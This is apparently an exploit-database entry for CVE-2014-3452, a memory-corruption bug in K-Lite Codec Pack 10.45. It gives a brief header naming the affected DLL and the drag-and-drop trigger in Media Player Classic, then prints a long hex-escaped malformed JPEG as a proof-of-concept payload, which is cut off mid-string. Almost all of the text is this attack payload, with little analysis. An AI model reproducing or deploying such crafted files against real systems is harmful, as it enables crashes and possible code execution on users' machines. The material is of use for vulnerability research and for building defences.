| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
| CVE-2014-3452 | 16 May 201415:00 | – | cve | |
| CVE-2014-3452 | 16 May 201415:00 | – | cvelist | |
| EUVD-2014-3464 | 7 Oct 202500:30 | – | euvd | |
| CVE-2014-3452 | 16 May 201415:55 | – | nvd | |
| Code injection | 16 May 201415:55 | – | prion |
`# Exploit Title: [k-lite Codec memory corruption in latest Version 10.45 ]
# Date: [2014/05/12]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]
# Vendor Homepage: [www.k-litecodec.com]
# Software Link: [
http://filehippo.com/download_klite_mega_codec/download/5d5a43f1ba3077f61abd35f382d7864a/
]
# Version: [Version 10.45 and prior to that]
# Tested on: [Windows Xp Sp 3 x86 & Windows 7 sp1 x86]
# CVE : [CVE-2014-3452]
details:
K-lite Codec latest version 10.45 suffers from an Exploitable memory
corruption Vulnerability via a malformed .jpg file format when load K-Lite
Codec Pack\Filters\LAV\avfilter-lav-4.dll.
Note: For trigger this issue use of Drang and Drop in Media Player Classic.
#This Poc is not Stable.
Poc:
value
="\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x64\x00\x00\xFF\xDB\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x03\x04\x03\x02\x03\x04\x05\x03\x03\x03\x03\x05\x05\x04\x04\x05\x04\x04\x05\x07\x05\xBD\x06\x06\x06\x05\x07\x07\x08\x08\x09\x08\x08\x07\x0B\x0B\x0C\x0C\x0B\x0B\x0C\x0C\x0C\x0C\x0C\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xDB\x00\x43\x01\x03\x03\x03\x05\x05\x05\x0A\x07\x07\x0A\x0F\x0C\x0A\x0C\x0F\x12\x0E\x0E\x0E\x0E\x12\x11\x0E\x0E\x0E\x0E\x0E\x11\x11\x0E\x0E\x57\x0E\x0E\x0E\x11\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xC2\x00\x11\x08\x00\x4B\x00\xC0\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1C\x00\x00\x00\x07\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x00\xFF\xC4\x00\x1B\x01\x00\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x01\x02\x05\x06\x07\xFF\xDA\x00\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\xAF\xF9\xED\x24\x4C\xFA\xAD\x55\xA2\xA6\x05\xFB\xDC\xF1\x73\xDF\x1B\xD9\x43\xD7\x21\x7E\xE3\x77\x73\x16\xD7\xED\x41\x5F\x3E\x72\x7D\x3B\xB0\xB7\x62\xB5\xB3\xC4\x78\x11\x23\x59\x2B\x81\x71\x4D\x42\xC8\x32\x7B\x50\xB2\x7B\x55\x14\xC4\x5D\x7A\x30\xB6\x1A\xA5\xEF\x10\xFD\xCD\xBF\x12\xA6\x6B\x3A\xEE\x7A\xB5\x37\x41\xD2\x42\xC7\x21\x23\xD8\x6A\x13\x5E\xD7\x7A\xC7\x91\xE7\x4A\x79\xC6\xC3\x18\xEA\x05\xC0\xB8\x12\x16\x4F\x6A\x8F\x2D\x89\x2C\x96\x35\x33\xA2\x55\x81\xAA\x0F\xA9\x77\x00\x8B\xCC\xB5\xA9\x6E\xF0\x8D\x87\xB6\xF5\x5C\x74\xAF\x4A\x9B\x8D\x59\x42\x5D\x65\x6E\x94\xD6\x35\x9E\x8F\xCD\xC4\x81\x74\x24\x34\x89\xEE\xBD\x51\x3B\x83\x22\x5A\xD0\x6C\x6B\x63\x4D\x4B\xA1\x2E\x5F\xC3\xBE\x73\xA9\x1B\x0B\xA5\xBD\xCA\xC8\x08\xA7\x6B\xE2\x70\xAA\xEE\xC5\x60\xD3\x63\xDB\xD1\x1B\x46\x03\xD7\x0D\x30\x1E\x93\xC6\xC0\x65\x1A\x0F\x8F\x74\x35\x65\x91\x3A\x8A\xD4\x21\x34\xDE\x0D\x33\xDB\x95\xF5\x2C\xCB\xB0\x8E\xF4\x61\x2C\x4D\x0C\xA6\xCE\x60\xD0\xC8\xB7\x64\x62\x70\xB8\x5D\xB0\xA5\xD3\x94\xBC\xE7\x0E\xF3\xE7\x52\x7A\xCE\x27\xB4\xA1\xBC\x3E\x8B\xCE\x52\x78\xFC\xC8\x0E\x4B\x66\xBA\x42\x4F\x54\x6C\xD4\x2E\x72\xB2\xFA\x72\x3B\x8E\xEB\x76\xE9\xEC\x80\xFB\x5D\xB9\x01\xD1\x05\x94\xCB\x17\x59\x66\xB8\x65\x57\x9E\x8C\xAF\xFD\x07\x06\xB2\xEA\xA4\x55\xA2\x71\x3B\xB7\xAE\x7F\x5E\xD4\x50\xC6\x33\xE4\xAB\xFC\x16\xBD\x21\xE4\x42\x5F\xAE\x8C\x1A\x12\x45\xC7\xAA\xC7\x44\xB1\x6F\x5B\x81\xE6\x70\x49\xEC\xFD\x37\x31\x72\x8B\xB6\x31\x38\x7E\x98\x4B\xA9\xCF\x97\xE9\x72\xA9\x9C\xAE\xB3\x46\x53\x47\x9C\xC2\xE1\x62\xF8\x91\x24\x38\x70\x97\x45\x90\x92\x04\xB4\xE5\xB8\xC6\x07\x51\xB9\x2C\x73\x1B\x86\xDE\x6A\x2F\x75\x72\xF4\x97\x99\x9E\xBB\x6B\x13\x8C\x3A\x68\xC9\x76\x39\x95\x25\x8B\x0A\xA3\xCC\xF1\x85\x87\x7A\x37\x51\x39\x0F\x1F\xD2\x6B\xC4\x74\xB7\x86\xB2\x7A\x5A\xF2\x9A\x6F\x45\x16\x13\x3D\x38\x16\xBD\x8B\x53\x10\xAD\xD0\xD4\xD4\xBB\x9B\xAF\xB1\x9E\x97\xCD\x70\x13\xEA\x57\x68\x4F\xCF\x4C\x44\x4B\x09\x45\x64\x65\x7D\x01\xD0\xD6\x7E\x75\xD9\x27\x26\x0F\x74\x9C\x84\x90\x25\x90\xD1\x03\xE0\xC0\x8E\x96\xD8\x12\x97\x92\x1F\xA3\x52\xDC\xBD\x68\xFE\x8B\x78\x2B\x02\xEF\x7A\xBE\x23\xEB\x73\xE8\xC3\xA9\x39\x94\xE8\xB7\xD6\xD5\x97\x6D\x6B\x5C\xDD\x37\xC0\xF5\x91\x41\x8F\x5C\x4E\xA0\x48\x9D\xCF\xFF\xC4\x00\x2B\x10\x1D\x01\x03\x03\x04\x00\x05\x04\x03\x01\x00\x00\x00\x00\x00\x00\x03\x01\x02\x04\x00\x05\x11\x06\x12\x13\x14\x15\x21\x22\x23\x24\x10\x31\x32\x33\x16\x34\x35\x41\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x42\x7C\xF5\x92\xE5\x9A\x1E\x42\x4E\xFB\x4D\x13\xDE\x39\xC4\x92\x33\x5B\x7D\x66\x04\x27\xB8\x16\x29\x2C\x7C\xF5\x78\x9C\x2B\x8C\x4F\xEA\xDD\xAE\x0F\x8D\xA8\xD9\x38\x8C\x62\xF8\x7D\xE4\x24\x81\x30\x71\xB2\xEA\xDD\x8A\xCB\xB3\xB9\xD4\xAE\x7D\x6F\x75\x6F\xAD\xD5\x97\x25\x35\x9B\xE7\x0D\x11\x24\x0F\xD3\x25\xBE\x73\x59\xBB\xB5\x1E\x64\xC2\x5C\x23\x9B\x96\x1F\x0B\x03\x6B\x47\x8D\xAF\x5D\x39\xDA\xB9\xC6\x4C\x47\xD4\xB2\x9C\x3D\x51\x1A\x66\xD5\x63\x54\xC3\x94\x39\xD2\xE1\x19\x0A\x12\x6E\xCA\xAE\x2B\x72\xD6\x73\xF4\xCA\xFD\x32\xB8\xC2\xA4\xE6\xE5\x65\x23\x7E\x48\xDD\x89\xAE\x2E\x24\xDA\x59\xEE\x5A\xDE\x02\x46\x40\x95\x6D\x46\x03\x4A\xD9\x56\xF0\x8A\xE3\x1D\x31\x1F\x52\xB9\xBF\xC8\xF9\x9D\x1D\x61\xDC\x1C\x25\xB6\xDD\x58\x64\x97\x16\x34\xD1\x4B\x81\x22\x1D\x66\xBF\xED\x2A\xAA\x57\xA6\xB2\xD4\xAE\x4A\x54\xC4\xA0\xA2\xF6\x91\x17\xB2\x27\x3D\x25\xC5\x1B\x79\xAD\xB0\x88\xE8\xB1\x1C\x10\xDB\xE5\xCE\x4E\xAC\xB9\x9C\x30\xDE\xAF\x34\xF0\xFE\xAD\x5B\x97\xEA\x98\xA0\x94\x4A\xF0\xF9\x31\xE2\xC2\x94\xE0\xD4\x0B\xB6\xEA\x8D\x2C\x6F\x79\x61\xDB\xD5\xD2\x2C\x51\x4C\x15\x47\xA2\xF9\xD2\x7D\x1A\x95\xF7\x96\xCC\x24\x96\x23\x89\x26\x2B\x38\xCF\x6C\x10\x12\x9D\x70\x71\x6B\xB4\xBD\x47\x93\xD0\x10\x2B\x44\xF4\x6B\xAE\xC2\xFD\x5A\x9F\x09\xAA\x2D\x05\xE2\x02\x4D\x62\xB7\xBC\x32\xCB\x0C\xAD\xB5\x12\xE7\xB2\xA1\xDC\x79\x46\x42\xC9\x90\x97\xE0\xB4\x77\x2D\xA8\x94\xE4\xCA\x2A\x62\x92\x9A\xF5\x24\xC0\x8D\xDC\xF1\xDC\x88\x70\x35\x37\x18\xCD\x41\x58\xCF\xAD\xFC\x6C\x5F\xC1\xA8\x55\x86\xCD\x59\x7A\x09\xC5\xFA\xF5\x10\x50\x9A\x9C\x63\x44\x0C\x00\x20\x82\xD5\x89\x6F\x04\x87\x09\x94\x22\x2E\x61\x5F\x40\xC1\xD8\xAE\x7C\x97\x3B\xB9\x44\x47\xAE\x6B\x35\x8A\x56\xAE\x42\x8C\x6A\x03\x1C\xC2\x47\x73\x09\x11\x1D\x26\x23\x65\x23\x62\xC9\x40\xBA\xDB\x2D\x94\x4B\x54\x5C\x42\xF8\xE4\x2B\xF9\x6E\x63\xFD\x7A\x88\xCF\x6E\xA0\xB6\x5B\x19\x29\xB7\xF5\x2C\x0B\x7C\xF6\x46\x33\x4A\x4D\xF5\xCA\xF1\xD2\x3F\x7D\x43\x86\x78\x24\x72\xEF\xAD\xB4\xB4\x99\x5A\x5D\xDB\x84\x9F\x21\xBB\x7B\x01\x5C\x90\x47\x5E\xC4\x26\xF1\xC7\x44\x73\x6D\x52\x1A\xDC\x1B\xDB\xA2\x11\x93\x9E\x68\xE4\x0D\xC5\x9F\x81\xA4\x5B\x47\xAC\xA3\xDE\x74\xED\xBD\x97\x7B\xA1\x6E\xC0\x62\xAB\xD1\x7D\x6A\x08\xDC\xE5\xB2\x5A\x18\x23\x4A\x6B\xF7\xD2\xD7\x9D\x61\xD4\xD6\xAA\x53\x1A\x11\xC8\xCE\x64\xC5\xCB\x9D\x10\x41\x68\x80\xAD\x64\x64\x63\x56\xDD\x2B\xDB\x79\x3D\xD2\xB7\x8B\xB2\xBA\x7B\xB3\x35\x9F\x86\xA8\x12\xF8\xF1\x8E\xE6\x0E\x1C\x96\x21\x40\x3D\xD5\x1A\x33\xCE\xF7\xDB\xD6\x04\x72\x8D\xEB\x22\x49\xB9\x0E\x8A\xE5\xA4\x6D\x2E\x1B\x59\x75\x67\xC9\x31\xDC\x5C\x76\x61\x63\x11\x31\xC7\xE9\xF0\xE3\xE3\xC3\xEE\xC7\xCC\xBB\x7B\x13\xB1\xC0\xBB\x7C\x45\x9F\x8E\xAD\xFF\x00\x56\x47\x1F\x19\x76\xF1\xC7\xDB\x9D\x3B\xB7\xB5\x72\xDB\xE1\xF6\x9C\x6C\xD5\xDF\xCA\xBC\xA9\x71\x5E\x54\xBB\x6B\xFF\xC4\x00\x2C\x11\x00\x02\x02\x01\x03\x02\x04\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x10\x21\x12\x31\x13\x20\x22\x30\x05\x14\x41\x42\x23\x33\x51\x71\x91\xB1\xC1\xFF\xDA\x00\x08\x01\x03\x01\x01\x3F\x01\x1C\x84\x32\xD5\x98\xB4\x51\x44\xD6\xA1\x7E\x9F\xE9\xA9\x7C\x1A\x78\x66\xDE\x4F\xB7\x7D\x1C\xF1\x52\x14\xE2\xCB\x74\xCA\x68\xB7\x4E\xE1\x9F\x69\xEC\x89\x0C\x95\x71\xE9\xCE\x39\xC9\x6F\x26\x9E\xBE\x44\xB8\x1C\x76\xAA\x4F\xA1\x10\xC2\x04\x2D\x35\x51\x76\x55\xD3\xF5\x2C\xAD\xC5\xFB\x68\x92\x22\xF9\x25\x93\xC3\x52\xE1\xF7\x34\xBA\x59\xE1\xF1\xFB\x13\x58\x13\xDA\xA9\x2E\x92\x4C\x85\x98\x21\x2F\xA9\x6D\x70\xB5\x72\x6A\x74\xCE\x99\x63\xE8\x63\xD9\x46\x4C\x15\x69\xE5\x32\x9A\x23\x1E\x49\x4B\x0B\x82\xF7\xBD\x62\x4D\x9E\x19\x54\xB0\x42\x64\xA1\x09\xC3\xA6\x46\xBF\xE1\x5E\x04\xF3\x99\x63\xFA\x23\x74\xBE\xDF\x51\xA2\x95\xE7\x5B\x69\x34\xFD\x7D\xCE\x23\xC2\x27\x61\x2B\x59\x6F\x6D\xD7\x63\x48\xD2\x4C\x9D\x8B\x07\xCD\x24\xC8\x5C\x9F\x62\x16\x0D\x46\xC8\xE1\x9F\x13\xD1\xBD\x37\xAE\x06\x8E\xCE\xB8\xF9\x73\xB2\xDB\x4F\x25\xD3\xFC\x13\x98\xF2\x4E\xE8\x91\x9F\xA0\x79\x68\x44\xEB\xE9\x46\xAF\x5A\xF3\xD3\x13\xD5\x23\x4B\xAA\x9D\x7C\x32\xAB\xF2\xB8\x21\xAB\x46\xB6\xE5\x2A\x9A\x34\xB1\x69\x3F\x16\x31\xB2\xDA\x17\x61\x1E\x28\xED\x1D\x39\x79\xC9\x0F\xCB\xDF\xE7\x23\x1E\x19\xAE\xD7\x2F\xB4\xA1\x75\x4C\x4B\x03\x5C\x95\x5C\xE2\x85\xAB\x23\x7F\x5C\x4C\x79\xD7\x95\x90\x7E\x9D\xF5\xB9\xEA\x25\x54\xD9\x54\x65\x07\x91\x5B\x91\xF7\xDA\x56\xBC\xE0\xD2\xAF\x49\x3F\x71\x91\xEC\x3D\xAD\x7C\x88\x6B\x8D\xA4\xF0\xCB\x25\xCF\x04\x8A\x1F\xE1\xA1\xBF\x7A\xC1\x16\x77\x23\xDF\x7B\xF6\x65\x1D\xBC\xDF\xFF\xC4\x00\x2F\x11\x00\x02\x01\x02\x04\x05\x03\x03\x03\x05\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x12\x21\x31\x05\x10\x22\x32\x41\x13\x20\x51\x61\x71\xF0\x23\x24\x81\x30\x33\xB1\xC1\xD1\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x70\x79\x4F\x4F\x2C\x2F\x2D\x3E\x09\xCE\xD4\xAC\x99\x9E\x5E\x9E\xA5\x09\xB5\x28\xCB\xE1\x9C\x5E\xBD\xF0\x59\xE1\xAF\x4F\xF9\xD0\xE1\x72\xFD\xD4\x7E\xA8\xE2\x12\xB6\x19\xC5\x79\x30\xD1\xE8\x12\x1E\xE6\x26\x97\x55\xC4\xAC\x49\x46\x5B\x95\x29\xC9\x7D\x8B\x97\x2F\xCE\xE2\x2E\x5C\xAD\x34\xA1\xD2\x4E\x6E\x51\xB3\xD4\xBF\x48\xD5\xE2\x45\x74\x94\x6A\x35\x87\xCA\xEF\xAA\x38\x75\x0C\xB5\xA2\xFE\x87\x16\xC5\x4D\x49\x41\x33\x0C\xFA\x4C\xC3\xDC\xAA\xBA\x87\x12\x71\x19\x52\x3F\xD1\x7B\x16\xB4\x6E\x54\x6A\xC6\xB9\x0A\x70\xCC\x8C\x55\x7B\x52\xFA\xF8\x30\x58\x85\x42\xBC\xBE\xA6\x36\x14\x71\x16\x9A\xBE\x7F\x3F\x0D\x14\xAE\xB4\x22\xB5\xD4\x64\xD7\x51\x24\x4A\x23\x43\x47\xA4\xED\x73\x3A\xE7\x94\x7C\xEF\x74\x4B\xB0\x8F\x4B\xE1\xD1\x76\x56\xAD\x68\xC5\x23\xD1\x9C\xF5\x64\xAD\x7B\x89\x94\xA2\x25\xA9\x2D\xC9\xB2\xE4\xAC\x4A\x28\x68\xA7\x52\x50\x95\xD1\x85\x95\x1C\x4C\x7B\x63\x9B\xE2\xBF\xBF\xB7\x93\x88\x70\x3A\x5E\x3A\x3F\xDF\xF1\xF9\xF6\x2A\x53\x94\x1D\x9A\xB0\x9F\x27\xCA\x51\xE9\xB9\x28\x4B\x26\x84\xA3\xE9\xC1\x32\xBD\x47\x28\x22\x85\x1B\xC5\x36\x5D\xDA\xC5\x85\x14\x53\x64\x58\xF7\x1A\xD4\xAD\xB9\x08\x8B\x0D\x74\x4A\x83\x4C\x70\x62\x59\x25\x98\xE1\xF8\x95\x5F\xF4\xE7\xF9\xFF\x00\x3F\x83\x8E\xD3\x70\xC4\xDB\xE9\xF7\x13\xE4\xF9\x54\x51\xF4\xED\x2D\xCA\xF5\x16\x55\x94\x9D\x46\xD1\x3D\xD1\x4E\xCE\x9A\xB1\x18\xF2\x8D\x37\x72\x51\xEB\x2C\x32\xA4\xFE\x0B\x39\x18\x5C\x0A\x4B\x33\x21\x92\x0F\x53\x1D\x87\x84\xF5\x89\x38\x12\x83\x30\xD1\x6A\x68\xE3\xB5\xE1\x3A\xAA\xCF\xC7\xB6\xB5\x42\xE4\xBB\x47\x02\x95\xE1\x64\xCF\x56\x2B\xC8\xB1\x70\xF0\x47\x8A\x4B\x01\xA5\x99\xDF\x93\x23\x81\x93\x30\x7C\x3D\xB7\x76\x63\x2F\x4E\x90\xDE\x62\x73\x56\x27\x1B\x8F\x08\x71\x17\x2C\x3B\xCB\xE5\x8F\x57\xED\xA9\x15\x61\xA5\x96\xE3\xED\x1C\x62\x95\xE4\x62\x6B\x37\x25\x6D\x8A\xB5\x3A\x88\xBE\xA6\x61\xE9\xBB\xDD\x14\xB6\xE4\xCC\x0B\x4F\x56\x46\xBC\x20\xB4\x2B\xD7\x55\xA3\x62\xC8\x96\xC4\x56\xA5\x1C\x34\x77\x38\xEC\x94\xB1\x04\x57\xB6\xA2\xE9\x44\xA3\xD2\x4A\x11\x8C\x55\xCA\xCF\x36\xA5\x8B\x75\x94\x28\xF5\x49\xB2\x94\xD4\x60\xD2\x29\xEC\x5F\x94\x53\xF0\x4A\x44\x67\xA9\x07\xBD\xC7\x0C\xC5\x3A\x36\xDC\x47\x11\x4D\x62\x27\x7F\x91\x7B\x6A\x76\x14\xBB\x7C\x18\xAD\x91\x3D\x87\xE0\xA5\xDF\xE0\x95\xEC\xF7\x20\x52\xED\x10\xCA\x7D\xA3\xFC\xBF\x2F\x25\x12\x5B\x1E\x0E\x27\xFD\xE9\x7D\xC8\x8F\xD9\xFF\xC4\x00\x40\x10\x00\x02\x01\x02\x04\x02\x05\x09\x05\x07\x03\x05\x00\x00\x00\x00\x01\x02\x03\x00\x11\x04\x12\x21\x31\x13\x51\x05\x22\x32\x41\x71\x14\x23\x33\x52\x61\x81\x91\xA1\xB1\x10\x42\x72\x82\xC1\x20\x43\x62\x73\x92\xA2\xC2\x24\x34\xB2\x35\x44\x54\xD1\xE1\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x9F\x53\xD9\x4F\xD6\x9B\x84\x0B\x04\x8F\x21\xD6\xC3\x31\x6B\xD4\xCE\xE2\xDE\x6D\x06\x56\x37\xE7\x59\x53\x4F\x33\x76\xFE\xBA\x69\x81\x37\x54\x8D\xAD\xCE\xCC\x6B\xA5\xA4\x8D\xF4\x9B\x10\xBC\x3E\x65\x17\x84\xA4\x8F\x0A\x95\x2E\x47\x59\x9B\xE0\xF4\xF2\xB1\x37\x7F\x32\x3D\xA5\xCF\x75\x74\x36\x12\x44\x96\x18\xED\x29\x72\xE0\x65\x61\xC2\x3D\x96\x52\xC3\x4E\x46\xD5\x89\x8F\x31\xB2\xC2\xA4\x6A\xC7\x5A\x87\xF9\x6B\xF4\xAC\x71\xD2\xC2\x5D\xCF\xE0\x15\x1C\x92\x30\x92\x38\xFA\xC4\x81\x6B\xDB\x51\x9B\x7A\xE3\x62\x2E\x32\x03\x6E\xB6\x53\xAF\x7D\x1C\x5E\x47\xF2\x5B\xE5\xA4\x5C\x56\xA4\xD6\xE6\xBB\xFE\x35\xB9\xAD\xCF\xBE\xBF\xFB\x5D\xF5\xB9\x15\x7B\x9A\xC4\x89\x54\x5B\xAA\x42\x9B\x35\xBD\xF5\x38\x02\xC2\xD1\xFD\x0D\x4D\xF8\x63\xFD\x69\xF9\xF0\x53\xFE\x6D\x52\x6B\xFB\xA4\x3F\xDC\xD4\x30\x91\xB3\x8C\x32\x99\xC9\xCB\xD8\x31\xB8\x5B\x8D\xB9\x8A\xAE\x95\x49\x16\x96\xCE\x01\x20\x75\x8E\xE6\xB0\xB9\x7D\x30\x11\x12\x7B\xFA\xED\x7A\xE8\x69\x25\xEA\xC3\xD7\x67\xB7\x70\xE0\x35\xEB\x11\x8B\xC3\x63\xB0\x4F\x87\x78\x95\x40\x69\x72\xB7\x57\xD8\x45\x44\x3F\x81\x7E\x95\xD2\x57\xEC\x71\xFE\x8A\x28\x30\x1C\x4B\x9E\xC1\x6B\x29\xA6\x68\x0A\x79\x49\xD5\x11\xCD\xE3\xBF\xF1\x5A\x8C\x11\xC7\x16\x1C\x30\x17\x80\x36\x7D\xBB\x81\xD8\x51\x8D\xD0\xAB\xAE\xE0\xD6\xA3\x4A\xBF\xEC\x69\xF6\xCA\x54\xEE\x8B\xF5\x35\x37\x3B\x47\x7F\xE9\xA7\xD0\x01\xC2\x4F\xAB\x54\xA7\x94\x31\xFF\x00\xC9\xAA\x5E\xB6\xBC\x05\xB0\xE6\x49\x6B\x54\x8C\xC9\xA2\xFA\x53\xB1\x62\x6F\xA5\xEA\x28\x66\x99\xE0\x42\xAE\xD2\xF0\xD7\x88\x19\x40\xBC\x6B\xF1\xF0\xF1\xAF\xF5\x43\xCF\x2B\x43\xC1\x91\x4F\x55\xE2\x05\x45\xEC\x75\xAE\x8D\xC3\x31\xB2\xB2\x48\xA4\xFB\x0C\x2C\x3F\x5A\x75\x1D\x6B\xC2\x8C\x79\x8B\x92\x2D\xF2\xA8\x87\x24\x01\xA5\x74\x9A\x49\xA3\x1C\x43\xDB\xC2\xBB\xCC\x5C\xB9\x50\x2A\x7A\x87\xBC\x52\x87\xED\xED\x7F\xD6\xAD\x30\xEB\x6C\x92\x0E\xD2\xD1\x67\x19\xA0\x1F\xBE\x5E\xCE\xBC\xF9\x56\x9F\xB7\x26\xBA\xE5\x1F\x32\x6B\x10\x37\x36\x8F\xE8\x6A\x5B\x0D\x78\x69\xFE\x55\x89\x21\x73\x9F\x36\x9C\xB6\x5B\xFE\xB5\x88\x77\x04\xCB\xC4\xCB\xA6\xB6\x5C\xBA\x7C\x28\xCA\xE3\x86\xA0\xBD\xD9\xBB\xEC\xCD\xB5\x46\x14\x5B\x34\x5A\xB1\xF6\x8A\x55\x5D\xBC\xDE\xBE\x04\x57\x44\xCA\x06\x69\x9E\x17\x21\x41\x00\xFF\x00\xB7\x3A\xEB\x53\xB9\x04\x0E\x12\x1B\x1D\xED\x7A\x4F\xC2\x3E\x95\xD2\x8D\xDF\xE5\x2E\x3E\x1A\x53\x65\x57\x94\x01\xDD\xAD\xA9\x31\x65\x6D\x04\xBF\xDA\xDE\xDE\x55\x6B\xD6\x47\xDA\xAC\xA6\xC7\x9D\x1E\x2C\x38\x60\x64\xBD\xA5\x91\x14\x0C\xDF\xDB\x4A\xD8\x37\x11\x63\x5A\xF9\x70\xF9\x8C\x91\x31\xEE\x01\xCF\x3A\x2A\xC0\xA3\xAF\x55\x94\xEE\x08\xDC\x7E\xC5\xC5\x62\x3D\x81\x3F\x5A\xC4\x77\x31\xE1\xA8\xF7\x2D\xEA\x66\x3D\x80\x16\x3D\xED\xA8\xAC\x4E\x4E\x68\x2E\x75\xFB\xB7\xAC\x5E\x27\x16\x7C\xCA\x4E\x6C\x80\xEA\xCC\x15\x74\xF0\xA7\x5D\xA1\x0E\xF6\x03\x6E\xB1\xBD\x2A\xDF\x68\xED\xF2\xAC\xAC\x46\x9A\xFB\xC5\x74\x44\x85\xCC\xB9\xB0\xD2\x88\xC4\x80\x1C\x99\xA0\xCC\x6C\xDB\xDA\xFF\x00\x33\xC5\xC7\x6C\xB9\x70\xD1\x0B\xFA\xC7\x31\xD6\x93\xF0\x8A\xE9\x3B\xFF\x00\xBB\x49\xF5\xAC\xBB\x5E\xE6\x8D\xCF\x54\xF6\x81\xDB\xE1\x4C\xB0\xAD\xA3\x79\x08\x88\x2E\xBA\x13\xD5\xD2\xAD\x7E\xB5\x6F\x57\x0C\xC8\xDB\x66\x06\xC7\xDC\x45\x4F\xE5\x26\x29\x60\x31\xB3\x48\x63\x8C\x26\x30\x81\xBB\x2B\x2F\x55\xF2\x6F\x6D\x0D\x31\x5B\x95\x91\x23\x93\x39\xD3\x31\xCB\x66\x36\x3E\xD1\x5D\xAA\xDE\xDE\xDF\xB7\x12\x62\x36\x4B\xAA\x66\x65\xEF\x51\xAD\x62\x43\xD9\xC8\x2A\x76\xF5\x96\xA7\x53\xA0\xBA\x0B\x78\x2D\x62\x3F\x9B\xF5\x51\x58\xB5\x0D\xD6\x13\x66\xCB\xF9\x54\x56\x51\xDE\x49\xF8\xD0\x41\xD6\xB0\xB1\x26\xAD\x5D\x0D\xE4\xFE\x9F\xC9\x25\xE1\xDB\x7C\xFE\x4E\x2D\x52\xE1\xE4\x83\x08\xE4\x2A\xEB\x2C\x3D\x6F\x7E\xBD\xD4\xBE\x02\xBA\x4D\xCD\xED\xE5\x72\x5B\xE3\x4F\xD6\xD3\x29\xD8\xD2\xE2\x71\x06\xC5\x96\xEB\xC4\x19\x91\x73\x0D\xC8\x3B\xD1\x11\x23\x2F\x95\x39\x84\xE2\xE6\x39\x67\x8E\xDB\xA8\x50\x34\x0D\x48\x91\x8B\x04\x40\x87\xC4\x50\x22\xB8\x2E\x6C\xFB\x0F\x1A\x86\xEC\x32\x66\xEB\x7E\x0B\x1C\xDF\x2A\x84\x46\x6E\x63\x88\x23\x78\xFE\xCC\xAA\x43\x69\x34\x81\x7C\x2F\x58\x82\x34\x04\xA7\xC9\x2B\x12\x7B\x95\x94\x1F\xE8\xA9\xBD\xB2\x7F\x88\xA6\xC4\x42\xD6\x91\xA6\x7B\xFF\x00\x12\xDE\xD4\xD2\x24\x77\x44\xCC\xC5\xF4\xEE\xF6\xD2\x99\x72\x24\x6C\x50\x66\xCD\x73\x77\x36\xDA\x91\x15\x88\x25\xC2\x33\xE9\xDF\x5D\x05\x98\xFA\x18\x24\xB9\xEE\xEA\xC2\x35\xAC\x45\xC5\xB2\xAA\xAF\xF7\x5E\xF4\xBE\x02\xBA\x46\x35\x1F\xF7\x52\xEB\xF9\xA9\xF1\xB3\x33\xAA\xC6\xE6\x3C\x9E\xBC\x8B\xF7\x45\x45\xC5\x3E\x79\xA5\x59\x18\xEE\x01\x1A\xE5\xB7\x2A\x9F\xC9\x54\x85\x69\x04\x82\x59\x09\xD4\xE5\xD7\xA9\xDD\x4A\x54\xDC\x64\x1A\xFB\xAA\xFF\x00\x74\x6E\x28\x15\xEF\xE7\xA5\x24\xB3\xB2\x37\x15\x6E\x8B\x09\xCE\x32\xFB\x4D\x69\xF6\x6D\x5B\xD5\x85\x62\x3D\x93\x1D\x7C\x40\x35\x2A\xAF\x25\x6F\xA8\xAC\x4F\xF3\x7E\x88\x2B\x10\xB1\xE5\xB0\x7D\xDB\xF0\x8B\xED\x45\x57\x29\x2A\xF2\x03\x9B\xF8\x4D\x01\xEB\xC5\x98\xFE\x6A\x88\x7A\xD3\xC6\x3E\x1A\xFE\x95\x19\xB7\xA1\x95\x45\xCD\x74\x66\x1F\x09\x88\x19\x1B\x09\x38\x99\xE3\xB3\x32\x8E\x1A\x8B\x58\xED\x7A\x39\x7A\xCA\xD0\xA6\x7B\xEF\xDA\x3F\xFA\xA5\xF0\xAE\x91\x6E\x90\xB3\x61\xFC\xAE\x51\xD6\x19\x95\x4D\xFB\xC5\x4A\xB0\xCC\xEF\x91\xD9\xA1\x4C\xB7\x24\xBE\xE6\xFA\x50\x12\x22\xAA\xA7\x59\x7D\xBE\x35\x9A\x56\x2F\x61\x6B\xB5\x12\x3E\x5A\x52\x45\xDE\xE7\x28\xB7\x33\x46\x10\x6D\x8F\x0B\xC6\x87\x37\x59\x0A\xDF\x2B\xA1\x1C\xD4\xD2\xB7\x0F\x84\x42\xD9\xA2\xF5\x5A\xFA\xDB\xD9\xF6\xE9\x5E\xCA\xF6\x56\x29\x72\x93\xE7\x54\xF3\xFB\x82\xA4\x0B\xBE\x44\xFA\x9A\x9F\x9F\x1D\x75\xCF\xB8\x54\x9C\xF8\xCF\xEF\xD6\xA4\x36\xEA\x86\x98\xDF\xF3\x1A\x5C\xC6\xDF\xE9\xFF\x00\xC6\xB0\x9B\x9B\xC9\x9B\x5F\xC1\x50\x71\x05\xB2\x97\x65\x1F\x96\xBA\x35\xB1\x2D\xC3\x8B\xC8\xE5\xD3\x48\x3B\x81\x09\xAD\x3E\x22\x3C\x6E\x0F\xC9\x78\x2A\x8A\xCF\x35\x98\xB2\xB1\x3B\x5B\x4A\x5F\x0A\xE9\x06\x53\xA2\xCF\x24\x8F\x